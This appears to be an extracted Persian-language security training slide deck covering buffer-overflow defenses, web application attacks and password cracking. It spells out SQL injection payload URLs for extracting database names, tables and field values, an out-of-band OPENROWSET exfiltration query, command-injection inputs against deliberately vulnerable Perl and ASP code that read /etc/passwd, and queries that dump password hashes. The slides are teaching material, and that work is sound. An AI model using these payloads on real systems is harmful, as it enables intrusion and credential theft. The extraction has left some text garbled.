    ‫مقابله با حملتسرریز بافر‬ ‫استفاده از نرم افزارها و الحاقیه های جانبی‬ ‫‪‬‬ ‫‪ ‬بهبود امنیت سیستم عامل‬ ‫اضافه کردن قابلیت های امنیتی مورد نیاز به سیستم عامل ، در صورت عدم وجود آنها بصورت پیشفرض‬ ‫‪‬‬ ‫‪… , ASLR , Non Executable Stack/Heap , Security Policies‬‬ ‫‪‬‬ ‫‪GRSecurity‬‬ ‫‪‬‬ ‫‪http://www.grsecurity.net/features.php ‬‬ ‫‪ ‬اضافه کردن ‪ PAX‬به کرنل لینوکس‬ ‫‪ ‬مقابله با ‪ Stack/Heap Overflow‬با استفاده از تکنیک های مختلف‬ ‫‪ ‬بهبود امنیت کامپایلر سیستم عامل‬ ‫‪ } ... ‬و بسیاری امکانات دیگر!{‬ ‫‪ ‬استفاده از نرم افزارهای جانبی برای مقابله با حملت‬ ‫رایج در سیستم عامل های خانواده ویندوز‬ ‫‪‬‬ ‫جبران کمبود های امنیتی سیستم عامل مانند ‪ NX‬و ‪ASLR‬‬ ‫‪‬‬ ‫تشخیص حملت سرریز بافر از طریق مانیتور کردن حافظه و جلوگیری از آنها‬ ‫‪‬‬ ‫استفاده در کنار قابلیت های امنیتی سیستم عامل ، برای پیچیده تر کردن مکانیزم حملت‬ ‫‪‬‬ ‫استفاده در مواردی که ناچار به استفاده از سیستم عامل های نا امن و یا نسخه های قدیمی هستیم‬ ‫‪‬‬ ‫استفاده بعنوان ‪(HIPS (Host Intrusion Prevention System‬‬ ‫‪‬‬ ‫ارائه غالبآ بصورت بسته های نرم افزاری تجاری‬ ‫‪‬‬ ‫‪http://www.eeye.com/html/products/blink/index.html : Eeye Blink‬‬ ‫‪‬‬ ‫‪/http://www.wehnus.com : WhehnTrust‬‬ ‫‪‬‬ ‫‪http://www.ngsec.com : StackDefender‬‬ ‫‪‬‬ ‫... }‪{!Google for more‬‬ ‫‪‬‬ ‫24‬
  • 43.
    ‫حمله به نرمافزارهای تحت وب‬ ‫روز به روز بر محبوبیت و کاربرد نرم افزارهای تحت وب اضافه میگردد‬ ‫‪‬‬ ‫نقطه شروع بسیاری از حملت علیه سیستم ها و شبکه ها نرم افزارهای تحت‬ ‫‪‬‬ ‫وب میباشد‬ ‫در بسیاری از موارد ، نرم افزارهای تحت وب تنها نقطه دسترسی یک نفوذگر‬ ‫‪‬‬ ‫به سیستم های هدف قرار گرفته میباشند‬ ‫در ادامه برخی از حملت شایع علیه نرم افزارهای تحت وب و همچنین‬ ‫‪‬‬ ‫راهکارهایی برای پیشگیری و مقابله با این حملت مورد بررسی قرار خواهد‬ ‫گرفت‬ ‫34‬
  • 44.
    ‫حمله به نرمافزارهای تحت وب‬ ‫ آشنایی با انواع حملت مبتنی بر نرم افزارهای تحت وب‬ Cross-Site Scripting  SQL Injection  Command Injection  Dynamic code execution  Cookie/Session Hijacking  Parameter/form Tampering  Buffer Overflows  Directory Traversal  Forceful Browsing  Information Leakages  Harvesting Attacks  44
  • 45.
    ‫حمله به نرمافزارهای تحت وب‬ ‫‪ ‬آشنایی با آناتومی حمله به سیستم های تحت وب‬ ‫پویش برای شناسایی نرم افزار تحت وب‬ ‫‪‬‬ ‫‪Web Spidering and User directed spidering‬‬ ‫‪‬‬ ‫‪Discovering Hidden contents‬‬ ‫‪‬‬ ‫‪Checking search engines and archive sites‬‬ ‫‪‬‬ ‫‪Brute-forcing directories and files‬‬ ‫‪‬‬ ‫‪Identify entry points for user inputs‬‬ ‫‪‬‬ ‫جمع آوری اطلعات و شناسایی هدف‬ ‫‪‬‬ ‫شناسایی وب سرور‬ ‫‪‬‬ ‫شناسایی ‪Application Server‬‬ ‫‪‬‬ ‫تست و بررسی وجود آسیب پذیری ها‬ ‫‪‬‬ ‫طراحی روش حمله و نحوه پیاده سازی آن‬ ‫‪‬‬ ‫پیاده سازی حمله‬ ‫‪‬‬ ‫54‬
  • 46.
    ‫حمله به نرمافزارهای تحت وب‬ ‫‪ ‬بررسی حملت ‪SQL Injection‬‬ ‫‪ ‬آشنایی با مکانیزم حملت ‪SQL Injection‬‬ ‫‪ ‬نحوه جستجو و شناسایی ‪SQL Injection‬‬ ‫‪Blind SQL Injection ‬‬ ‫‪Normal SQL Injection ‬‬ ‫‪ ‬عبور از فرم های اعتبار سنجی‬ ‫‪ ‬تزریق دستورات ( )‪SELECT,UNION‬‬ ‫‪SELECT,INSERT,UPDATE,DELETE‬‬ ‫‪ ‬استخراج اطلعات مفید اولیه از بانک اطلعاتی‬ ‫‪ ‬مشخص کردن نسخه بانک اطلعاتی‬ ‫‪ ‬مشخص کردن نام کاربری مورد استفاده بانک اطلعاتی‬ ‫64‬
  • 47.
    ‫حمله به نرمافزارهای تحت وب‬ ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬  : Integer ‫بررسی پارامتر از نوع‬  –http://[site]/page.asp?id=1 having 1=1  Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate  .function and there is no GROUP BY clause : String ‫بررسی پارامتر از نوع‬  –http://[site]/page.asp?id=x' having 1=1  Column '[COLUMN NAME]' is invalid in the select list because it is not contained in an aggregate  .function and there is no GROUP BY clause ‫استخراج نام کاربر بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(USER  .Syntax error converting the nvarchar value '[DB USER]' to a column of data type int  ‫استخراج نام بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME  .Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int  ‫استخراج نسخه بانک اطلعاتی‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION  .Syntax error converting the nvarchar value '[DB VERSION]' to a column of data type int  ‫استخراج نام سرور‬  –((http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME  .Syntax error converting the nvarchar value '[SERVER NAME]' to a column of data type int  47
  • 48.
    ‫حمله به نرمافزارهای تحت وب‬ (2) ‫استخراج اطلعات مورد نظر از بانک اطلعاتی بر اساس پیغام های خطا‬   ‫استخراج نام اولین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))–  Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data type int.  ‫استخراج نام دومین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE- NAME-1'))–  Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data type int.  ‫استخراج نام سومین‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85) and ,name>'TABLE- NAME-2'))-- Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data type int.  ‫استخراج نام اولین‬Column ‫در‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'))–  Syntax error converting the nvarchar value '[COLUMN NAME 1]' to a column of data type int.  ‫استخراج نام دومین‬Column ‫در‬Table  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 column_name from DBNAME.information_schema.columns where table_name='TABLE-NAME-1' and column_name>'COLUMN-NAME-1'))–  Syntax error converting the nvarchar value '[COLUMN NAME 2]' to a column of data type int.  ‫استخراج اولین‬Field ‫از اولین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1))–  Syntax error converting the nvarchar value '[FIELD 1 VALUE]' to a column of data type int.  ‫استخراج دومین‬Field ‫از اولین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-2 from TABLE-NAME-1))–  Syntax error converting the nvarchar value '[FIELD 2 VALUE]' to a column of data type int.  ‫استخراج اولین‬Field ‫از دومین‬Row  http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 COLUMN-NAME-1 from TABLE-NAME-1 where COLUMN- NAME-1 NOT in ('FIELD-1-VALUE') order by COLUMN-NAME-1 desc))–  Syntax error converting the nvarchar value '[FIELD 1 VALUE OF 2ND ROW]' to a column of data type int. 48
  • 49.
    ‫حمله به نرمافزارهای تحت وب‬ Union ‫استخراج اطلعات از بانک اطلعاتی با استفاده از‬   ‫مشخص کردن تعداد پارامترها‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,2–  All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists  http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4–  NO Error  ‫استخراج نام کاربر بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4—  ‫استخراج نام بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,DB_NAME,3,4—  ‫استخراج نسخه بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,@@VERSION,3,4—  ‫استخراج نام‬Table ‫های بانک اطلعاتی‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,name,3,4 from sysobjects where xtype=char(85)—  ‫استخراج نام‬Column ‫های‬Table ‫ها‬  http://[site]/page.asp?id=1 UNION SELECT ALL 1,column_name,3,4 from DBNAME.information_schema.columns where table_name='TABLE-NAME-1'—  ‫استخراج اولین‬Field  http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from TABLE-NAME-1—  ‫استخراج دومین‬Field  http://[site]/page.asp?id=1 UNION SELECT ALL 1,COLUMN-NAME-2,3,4 from TABLE-NAME-1-- 49
  • 50.
    ‫حمله به نرمافزارهای تحت وب‬ http//:www.evilsql) Blind SQL Injection ‫استخراج اطلعات مورد نظر در حملت‬  (.com/page1.html (Out of band channles) ‫آشنایی با روش های غیر معمول استخراج اطلعات‬  MS-SQL Openrowset   insert into openrowset(‘SQLOLEDB’,‘DRIVER={SQL Server};SERVER=10.20.10.20,80;UID=sa;PWD=1234’,‘select * from foo’) values (@@version) DNS Resolve  HTTP GET  http//:www.cqure.net/files/OWASP%20-%20Sweden%20-%2020080527%20-%20SQL%20injection.zip  SQL Injection ‫اجرای دستورات سیستم عامل از طریق‬  ‫ استخراج اطلعات‬Automated ‫بررسی ابزارهای‬  50
  • 51.
    ‫حمله به نرمافزارهای تحت وب‬ OS Command Injection ‫ بررسی حملت‬ use CGI qw(:standard escapeHTML); print header, start_html(““); Perl Applications  print “<pre>“; my $command = “du -h --exclude php* /var/www/html“; $command= $command.param(“dir“); $command=`$command`; print “$commandn“; print end_html; http://web-app/cgi-bin/vuln.cgi?dir=/public|%20cat %/etc/passwd <% ASP Applications  Set oScript = Server.CreateObject(“WSCRIPT.SHELL“) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject“) szCMD = “type c:inetpubwwwrootlogs“ & Request.Form(“FileName“) szTempFile = “C:“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %> http://web-app/view.asp [Form Data  sample.log && dir c: 51
  • 52.
    ‫حمله به نرمافزارهای تحت وب‬ ‫‪ ‬بررسی حملت 2( ‪)Command Injection‬‬ ‫‪ ‬روش های شناسایی‬ ‫تزریق کاراکترهای خاص در پارامترها ، قبل از دستورات و مشاهده مستقیم نتیجه‬ ‫‪‬‬ ‫‪ ‬کاراکتر های ; | &&‬ ‫تزریق و تشخیص بر اساس تآخیرهای زمانی‬ ‫‪‬‬ ‫‪| ping –i 30 127.0.0.1 | ‬‬ ‫‪| ping –n 30 127.0.0.1 | ‬‬ ‫‪& ping –i 30 127.0.0.1 & ‬‬ ‫‪& ping –n 30 127.0.0.1 & ‬‬ ‫‪; ping 127.0.0.1 ; ‬‬ ‫‪%0a ping –i 30 127.0.0.1 %0a ‬‬ ‫‪` ping 127.0.0.1 ` ‬‬ ‫تزریق و تشخیص بر اساس مشاهده خروجی دستور از سایر روش ها‬ ‫‪‬‬ ‫‪ ‬بررسی حملت ‪Code Injection‬‬ ‫‪Dynamic Code Execution in PHP ‬‬ ‫‪Dynamic Code Execution in ASP‬‬ ‫‪‬‬ ‫‪File Inclusion‬‬ ‫‪‬‬ ‫‪(PHP Remote File Inclusion (RFI‬‬ ‫‪‬‬ ‫‪(Local File Inclusin (LFI‬‬ ‫‪‬‬ ‫25‬
  • 53.
    ‫حمله به نرمافزارهای تحت وب‬ ‫‪Path Traversal‬‬ ‫(‬ ‫433 ‪(WAHHB Page‬‬ ‫‪ ‬بررسی حملت‬ ‫(‬ ‫)‪Cross Site Scripting (XSS‬‬ ‫573 ‪(WAHHB Page‬‬ ‫‪ ‬بررسی حملت‬ ‫بررسی انواع حملت ‪ XSS‬و تفاوت های آنها‬ ‫‪‬‬ ‫‪Reflected XSS‬‬ ‫‪‬‬ ‫‪Stored XSS‬‬ ‫‪‬‬ ‫(‬ ‫شناسایی ضعف های 104 ‪XSS (WAHHB Page‬‬ ‫‪‬‬ ‫بررسی کاربردهای حملت ‪XSS‬‬ ‫‪‬‬ ‫سرقت ‪ Session‬کاربر‬ ‫‪‬‬ ‫‪ Bypass‬کردن برخی محدودیت های ‪Web Application‬‬ ‫‪‬‬ ‫ارسال درخواست بجای کاربر به ‪ web application‬برای انجام عملی خاص‬ ‫‪‬‬ ‫بررسی سایر روش های سو استفاده )693 ‪(WAHHB Page‬‬ ‫‪‬‬ ‫‪ ‬بررسی حملت ‪Parameter Tampering/Manipulation‬‬ ‫‪ ‬بررسی حملت ‪Forceful Browsing‬‬ ‫‪ ‬معرفی ابزارهای پویش و بررسی نرم افزارهای تحت وب‬ ‫35‬
  • 54.
    ‫حملت علیه کلماتعبور‬ ‫‪ ‬تقسیم بندی کلی حملت‬ ‫‪Online Attacks‬‬ ‫‪‬‬ ‫تمرکز بر روی کشف نام کاربری و کلمه عبور از طریق اقدام به تعامل با سرویس‬ ‫‪‬‬ ‫نیازمند اقدام به برقراری ارتباط با هدف بطور مستقیم برای حدس کلمات عبور‬ ‫‪‬‬ ‫نیازمند در دسترس بودن سرویس های خاص بمنظور تعامل با آنها‬ ‫‪‬‬ ‫قابلیت شناسایی آسان بدلیل حجم ترافیک و رویداد های تولید شده در طول حمله‬ ‫‪‬‬ ‫سرعت بسیار پایین در مقایسه با حملت ‪ ، Offline‬و وابسته به منابع شبکه‬ ‫‪‬‬ ‫عدم نیاز به قدرت پردازش بال در سمت نفوذگر‬ ‫‪‬‬ ‫‪Offline Attacks‬‬ ‫‪‬‬ ‫تمرکز بر روی شکستن کلمات عبور رمز/کد شده که از هدف بدست آمده‬ ‫‪‬‬ ‫عدم نیاز به برقراری ارتباط با هدف در طول حمله‬ ‫‪‬‬ ‫نیازمند تعامل با سرویس / سیستم تنها بمنظور استخراج کلمات عبور رمز شده‬ ‫‪‬‬ ‫امکان شناسایی تنها در زمان استخراج کلمات عبور رمز شده )در شرایط خاص(‬ ‫‪‬‬ ‫سرعت بسیار بال ) وابسته به روش رمزنگاری بکار برده شده (‬ ‫‪‬‬ ‫نیازبه قدرت پردازش بال در سمت نفوذگر‬ ‫‪‬‬ ‫45‬
  • 55.
    ‫حملت علیه کلماتعبور‬ ‫‪Online Attacks ‬‬ ‫قابل پیاده سازی از طریق سرویس ها وپروتکل های مختلف‬ ‫‪‬‬ ‫سرویس ها و پروتکل های دسترسی از راه دور‬ ‫)‪(…,Telnet,SSH,Rlogin,TS,VNC‬‬ ‫‪‬‬ ‫سرویس های پستی )‪(…,POP,SMTP,IMAP‬‬ ‫‪‬‬ ‫سرویس های بانک اطلعاتی )‪(…,MS-SQL,MySQL,Oracle‬‬ ‫‪‬‬ ‫سرویس های وابسته به وب )‪(…,HTTP,Login Forms,Proxies,Socks‬‬ ‫‪‬‬ ‫پروتکل های مدیریت از راه دور )‪(…,SNMP,RPC,WMI‬‬ ‫‪‬‬ ‫و هر سرویس دیگری که برای دسترسی نیاز به ارسال نام کاربری و کلمه عبور داشته باشد !‬ ‫‪‬‬ ‫بررسی روش ها و ابزارهای مختلف پیاده سازی حمله‬ ‫‪‬‬ ‫بررسی روش های متداول مقابله با این دسته از حملت‬ ‫‪‬‬ ‫نکاتی در خصوص نام های کاربری و کلمات عبور پیشفرض‬ ‫‪‬‬ ‫‪Networking Devices,Database Systems,Product default‬‬ ‫‪‬‬ ‫‪accounts,Product Master/Hidden/Hardcoded passwords,Service‬‬ ‫‪accounts‬‬ ‫نکاتی در خصوص انتخاب فایل های دیکشنری و محدوده کلمات عبور‬ ‫‪‬‬ ‫55‬
  • 56.
    ‫حملت علیه کلماتعبور‬ ‫‪Offline Attacks ‬‬ ‫‪ ‬آشنایی با مکانیزم های ‪ Hash‬و ‪ Encoding‬کلمات عبور‬ ‫‪ ‬آشنایی با برخی سرویس ها و مکانیزم های بکار برده شده توسط آنها‬ ‫‪ ‬بررسی روش های بدست آوردن کلمات عبور رمز شده‬ ‫‪ ‬استخراج از فایل های خاص ذخیره کلمات عبور سیستم عامل‬ ‫‪C:windowssystem32configSAM ‬‬ ‫‪etc/passwd & /etc/shadow/ ‬‬ ‫‪ ‬استخراج از فایل های حاوی تنظیمات سیستم یا سرویس‬ ‫‪ ‬استخراج از ترافیک شبکه‬ ‫‪ ‬استخراج از بانک های اطلعاتی‬ ‫65‬
  • 57.
    ‫حملت علیه کلماتعبور‬ Offline Attacks  ‫بررسی روش های بدست آوردن کلمات عبور رمز شده‬  ‫استخراج از بانک های اطلعاتی‬  select user, password from userMySQL  select name, password from master..sysxloginsMS-SQL 2000  select name,password_hash FROM sys.sql_loginsMS-SQL 2005  select username, password from DBA_USERS Oracle  $select name,password from SYS.USER Oracle  select usename, passwd FROM pg_shadowPortageSQL  ‫بررسی تکنیک های شکستن کلمات عبور رمز شده‬  Dictonary , Bruteforce , Hybrid  Pre-Computed Rainbow Tables) Cryptanalysis)  Cryptography flaws  ‫بررسی روش های پیاده سازی حملت‬  Single System  Distributed Systems  Free & Commercial Cryptanalysis providers  57